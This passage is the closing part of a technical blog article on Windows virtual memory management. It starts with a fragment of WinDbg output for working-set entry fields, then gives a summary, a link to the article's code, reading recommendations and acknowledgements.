+0x000 WsleAge : 0y1010 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y1 view raw tf-article2-windbg-38.txt hosted with ❤ by GitHub Looks like it's back, just like we expected! Exhausted yet? Compared to the 64-bit paging scheme we talked about in our last article, Windows memory management is significantly more complex and involves a lot of moving parts. But at it's core, it's not too daunting. Hopefully, now with a much stronger grasp of how things work under the hood, we can put our memory management knowledge to use in something practical in a future article. If you're interested in getting your hands on the code used in this article, you can check it out on GitHub and experiment on your own with it. Further reading and attributions Consider picking up a copy of "Windows Internals, 7th Edition" or "What Makes It Page?" to get an even deeper dive on the Windows virtual memory manager. Thank you to Alex Ionescu for additional tips and clarification. Thanks to irqlnotdispatchlevel for pointing out an address miscalculation. Sursa: http://www.triplefault.io/2017/08/exploring-windows-virtual-memory.html